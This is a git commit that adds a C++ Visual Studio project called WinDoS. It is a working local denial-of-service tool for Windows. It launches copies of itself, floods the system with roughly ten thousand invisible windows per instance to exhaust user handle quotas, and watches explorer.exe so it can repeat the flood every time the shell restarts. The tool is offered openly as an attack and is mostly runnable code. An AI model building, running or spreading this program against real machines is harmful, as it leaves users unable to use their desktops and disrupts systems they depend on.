Inital comit

2026-06-01 19:36:01 -05:00 · 2026-06-01 19:36:01 -05:00 · 98acb4d582
commit 98acb4d582
parent e7502e625c
8 changed files with 447 additions and 0 deletions
--- a/Scan.png
+++ b/Scan.png
--- a/Desktop.png
+++ b/Desktop.png
--- a/NotCPUExhaustion.png
+++ b/NotCPUExhaustion.png
--- a/UserProcessHandleQuotaKey.png
+++ b/UserProcessHandleQuotaKey.png
--- a/WinDoS.slnx
+++ b/WinDoS.slnx
@ -0,0 +1,7 @@
+<Solution>
+  <Configurations>
+    <Platform Name="x64" />
+    <Platform Name="x86" />
+  </Configurations>
+  <Project Path="WinDoS/WinDoS.vcxproj" Id="d3ce8d54-e5f5-4974-8ed0-483d4ad82236" />
+</Solution>
--- a/WinDoS/WinDoS.cpp
+++ b/WinDoS/WinDoS.cpp
@ -0,0 +1,269 @@
+#include <iostream>
+#include <windows.h>
+#include <string>
+#include <cstdlib> // For _wsystem
+#include <vector>
+#include <thread>
+#include <tlhelp32.h>
+#include <mutex>
+#include <condition_variable>
+#include <chrono>
+
+void spawnChildren(const wchar_t* exePath, int count) {
+    SHELLEXECUTEINFOW sei = { sizeof(sei) };
+    sei.cbSize = sizeof(SHELLEXECUTEINFOW);
+    sei.fMask = SEE_MASK_DEFAULT;
+    sei.hwnd = NULL;
+    sei.lpVerb = L"open";
+    sei.lpFile = exePath;
+    sei.lpParameters = L"--child-mode"; // Flags the new process as a child
+    sei.lpDirectory = NULL;
+    sei.nShow = SW_SHOWNORMAL; // Opens a new visible console window for each child
+    for (int i = 0; i < count; ++i) {
+        ShellExecuteExW(&sei);
+    }
+}
+
+// Global synchronization tools
+std::mutex g_syncMutex;
+std::condition_variable g_syncCV;
+int g_activeSpawnersCount = 0;
+bool g_allSpawningFinished = false; // Must be reset on each run
+
+// Global window handle tracking
+std::mutex g_windowTrackingMutex;
+std::vector<HWND> g_spawnedWindows;
+
+// --- Helper for Explorer Monitor ---
+DWORD GetProcessIdByName(const std::wstring& processName) {
+    DWORD pid = 0;
+    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+    if (snapshot != INVALID_HANDLE_VALUE) {
+        PROCESSENTRY32W entry;
+        entry.dwSize = sizeof(entry);
+        if (Process32FirstW(snapshot, &entry)) {
+            do {
+                if (std::wstring(entry.szExeFile) == processName) {
+                    pid = entry.th32ProcessID;
+                    break;
+                }
+            } while (Process32NextW(snapshot, &entry));
+        }
+        CloseHandle(snapshot);
+    }
+    return pid;
+}
+
+// Minimal window procedure to handle background messages
+LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
+    if (uMsg == WM_DESTROY) {
+        PostQuitMessage(0);
+        return 0;
+    }
+    return DefWindowProc(hwnd, uMsg, wParam, lParam);
+}
+
+// Function that creates an invisible window explicitly excluded from the taskbar
+HWND CreateInvisibleWindow(HINSTANCE hInstance) {
+    const wchar_t CLASS_NAME[] = L"InvisibleWindowClass";
+    // SAFE FIX: Use static flag to register the window class EXACTLY ONCE across the entire process lifetime
+    static bool isClassRegistered = false;
+    if (!isClassRegistered) {
+        WNDCLASS wc = {};
+        wc.lpfnWndProc = WindowProc;
+        wc.hInstance = hInstance;
+        wc.lpszClassName = CLASS_NAME;
+        if (RegisterClass(&wc)) {
+            isClassRegistered = true;
+        }
+    }
+
+    // WS_EX_TOOLWINDOW prevents the window from appearing in the taskbar
+    HWND hwnd = CreateWindowEx(
+        WS_EX_TOOLWINDOW, // Extended style to hide from taskbar
+        CLASS_NAME, // Window class
+        L"Hidden Window", // Window text
+        0, // Window style (No WS_VISIBLE)
+        CW_USEDEFAULT, CW_USEDEFAULT, // Position
+        0, 0, // Size
+        NULL, // Parent window
+        NULL, // Menu
+        hInstance, // Instance handle
+        NULL // Additional application data
+    );
+    return hwnd;
+}
+
+// Worker function assigned to each thread
+void rapidWindowSpawner(HINSTANCE hInstance, int startIdx, int endIdx, int threadId) {
+    int count = 0;
+    std::vector<HWND> localHandles;
+    localHandles.reserve(endIdx - startIdx);
+
+    for (int i = startIdx; i < endIdx; ++i) {
+        HWND hwnd = CreateInvisibleWindow(hInstance);
+
+		// Uncomment this line to allow the inital run of window spawning to be more gradual and visually trackable, but it can cause significant performance degradation on subsequent runs due to the DWM's increased workload and reduced ability to keep up with the rapid creation of windows.
+		//Sleep(50); // Brief pause to allow the DWM to process window creation, and be able to breathe to continue rendering other windows.
+        if (hwnd == NULL) break;
+        localHandles.push_back(hwnd);
+        count++;
+    }
+
+    // Safely append this thread's spawned handles to the global tracker
+    {
+        std::lock_guard<std::mutex> lock(g_windowTrackingMutex);
+        g_spawnedWindows.insert(g_spawnedWindows.end(), localHandles.begin(), localHandles.end());
+    }
+
+    // --- CRITICAL NOTIFICATION ZONE ---
+    {
+        std::lock_guard<std::mutex> lock(g_syncMutex);
+        g_activeSpawnersCount--;
+        std::cout << "[Thread " << threadId << "] Finished spawning " << count << " windows.\n";
+
+        // If this was the final thread to finish its batch, notify the main thread
+        if (g_activeSpawnersCount == 0) {
+            g_allSpawningFinished = true;
+            g_syncCV.notify_one();
+        }
+    }
+
+    // Keep thread alive and healthy with an isolated message pump loop
+    MSG msg;
+    while (GetMessage(&msg, NULL, 0, 0)) {
+        TranslateMessage(&msg);
+        DispatchMessage(&msg);
+    }
+}
+
+void rapidSpawn() {
+    HINSTANCE hInstance = GetModuleHandle(NULL);
+    const int totalWindows = 9998;
+    unsigned int numThreads = std::thread::hardware_concurrency();
+    if (numThreads == 0) numThreads = 4;
+    int chunkSize = totalWindows / numThreads;
+    std::vector<std::thread> workers;
+
+    // --- CLEANUP PREVIOUS BATCH ---
+    {
+        std::lock_guard<std::mutex> lock(g_windowTrackingMutex);
+        if (!g_spawnedWindows.empty()) {
+            std::cout << "[Cleanup] Safely closing " << g_spawnedWindows.size() << " existing windows...\n";
+            for (HWND hwnd : g_spawnedWindows) {
+                if (IsWindow(hwnd)) {
+                    // PostMessage cross-thread signals the owning thread to natively destroy its window
+                    PostMessageW(hwnd, WM_CLOSE, 0, 0);
+                }
+            }
+            g_spawnedWindows.clear();
+            // Allow a brief moment for the old message loops to unwind and terminate
+            std::this_thread::sleep_for(std::chrono::milliseconds(300));
+        }
+    }
+
+    std::cout << "[Main] Launching " << numThreads << " threads to spawn " << totalWindows << " windows...\n";
+
+    // CRITICAL FIX: Reset global variables cleanly before launching a brand new sequence
+    {
+        std::lock_guard<std::mutex> lock(g_syncMutex);
+        g_activeSpawnersCount = numThreads;
+        g_allSpawningFinished = false;
+    }
+
+    // Launch the Window Spawning threads
+    for (unsigned int i = 0; i < numThreads; ++i) {
+        int start = i * chunkSize;
+        int end = (i == numThreads - 1) ? totalWindows : start + chunkSize;
+        workers.push_back(std::thread(rapidWindowSpawner, hInstance, start, end, i));
+    }
+
+    // MAIN THREAD BLOCKS HERE: Wait until all spawner threads reach the barrier
+    {
+        std::unique_lock<std::mutex> lock(g_syncMutex);
+        g_syncCV.wait(lock, [] { return g_allSpawningFinished; });
+    }
+
+    std::cout << "\n>>> [MAIN THREAD SUCCESS] All " << totalWindows << " windows have successfully spawned! <<<\n";
+    std::cout << "[Main] Main thread is now fully operational and executing subsequent code.\n\n";
+
+    // Clean up current worker objects securely via detaching
+    for (auto& worker : workers) {
+        if (worker.joinable()) {
+            worker.detach();
+        }
+    }
+}
+
+int ExplorerWatcher() {
+    std::wcout << L"[Monitor] Starting Explorer process lifetime tracking...\n";
+    while (true) {
+        DWORD explorerPid = GetProcessIdByName(L"explorer.exe");
+        if (explorerPid == 0) {
+            std::wcout << L"[Notice] Explorer is not currently running. Retrying in 1 second...\n";
+            Sleep(1000);
+            continue;
+        }
+
+        HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, explorerPid);
+        if (hProcess == NULL) {
+            Sleep(1000);
+            continue;
+        }
+        std::wcout << L"[Monitor] Successfully hooked into explorer.exe (PID: " << explorerPid << L"). Waiting for crash/close...\n";
+
+        // Efficient OS suspension blocking
+        WaitForSingleObject(hProcess, INFINITE);
+
+        std::wcout << L"\n[ALERT] explorer.exe (PID: " << explorerPid << L") has CRASHED or CLOSED!\n";
+        CloseHandle(hProcess);
+
+        std::wcout << L"[Monitor] Waiting for Explorer to restart...\n";
+        DWORD newPid = 0;
+        while (newPid == 0 || newPid == explorerPid) {
+            Sleep(250);
+            newPid = GetProcessIdByName(L"explorer.exe");
+        }
+        std::wcout << L"[SUCCESS] explorer.exe has fully restarted with a brand new PID: " << newPid << L"\n\n";
+
+        std::wcout << L"[SUCCESS] Sleeping for 2.5 seconds...\n";
+        Sleep(2500);
+
+        std::wcout << L"[SUCCESS] Rapid spawning initiated...\n";
+        // Triggers the window spawning cleanly now that global state is reset correctly
+        rapidSpawn();
+    }
+    return 0;
+}
+
+int main(int argc, char* argv[]) {
+    // 1. Check if any arguments were passed to the program
+    bool isChild = false;
+    for (int i = 1; i < argc; ++i) {
+        if (std::string(argv[i]) == "--child-mode") {
+            isChild = true;
+            std::cout << "[Main] Running in CHILD MODE. This instance will not spawn additional processes.\n";
+            break;
+        }
+    }
+
+    std::cout << "[Main] Starting application..." << std::endl;
+
+    if (isChild == false)
+    {
+        wchar_t currentExePath[MAX_PATH];
+        if (GetModuleFileNameW(NULL, currentExePath, MAX_PATH) != 0) {
+            // Spawn exactly 7 instances
+            spawnChildren(currentExePath, 4);
+        }
+    }
+
+    // Code goes here
+    rapidSpawn();
+    ExplorerWatcher();
+
+    while (true) {
+        Sleep(1000);
+    }
+    return 0;
+}
--- a/WinDoS/WinDoS.vcxproj
+++ b/WinDoS/WinDoS.vcxproj
@ -0,0 +1,149 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>18.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{d3ce8d54-e5f5-4974-8ed0-483d4ad82236}</ProjectGuid>
+    <RootNamespace>WindowDoS</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+    <ProjectName>WinDoS</ProjectName>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v145</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v145</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v145</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v145</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <LanguageStandard>stdcpp20</LanguageStandard>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+    <Manifest>
+      <EnableSegmentHeap>true</EnableSegmentHeap>
+    </Manifest>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <LanguageStandard>stdcpp20</LanguageStandard>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+    <Manifest>
+      <EnableSegmentHeap>true</EnableSegmentHeap>
+    </Manifest>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <LanguageStandard>stdcpp20</LanguageStandard>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+    <Manifest>
+      <EnableSegmentHeap>true</EnableSegmentHeap>
+    </Manifest>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <LanguageStandard>stdcpp20</LanguageStandard>
+      <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+    <Manifest>
+      <EnableSegmentHeap>true</EnableSegmentHeap>
+    </Manifest>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="WinDoS.cpp" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
--- a/WinDoS/WinDoS.vcxproj.filters
+++ b/WinDoS/WinDoS.vcxproj.filters
@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Source Files">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="Header Files">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
+    </Filter>
+    <Filter Include="Resource Files">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="WinDoS.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+  </ItemGroup>
+</Project>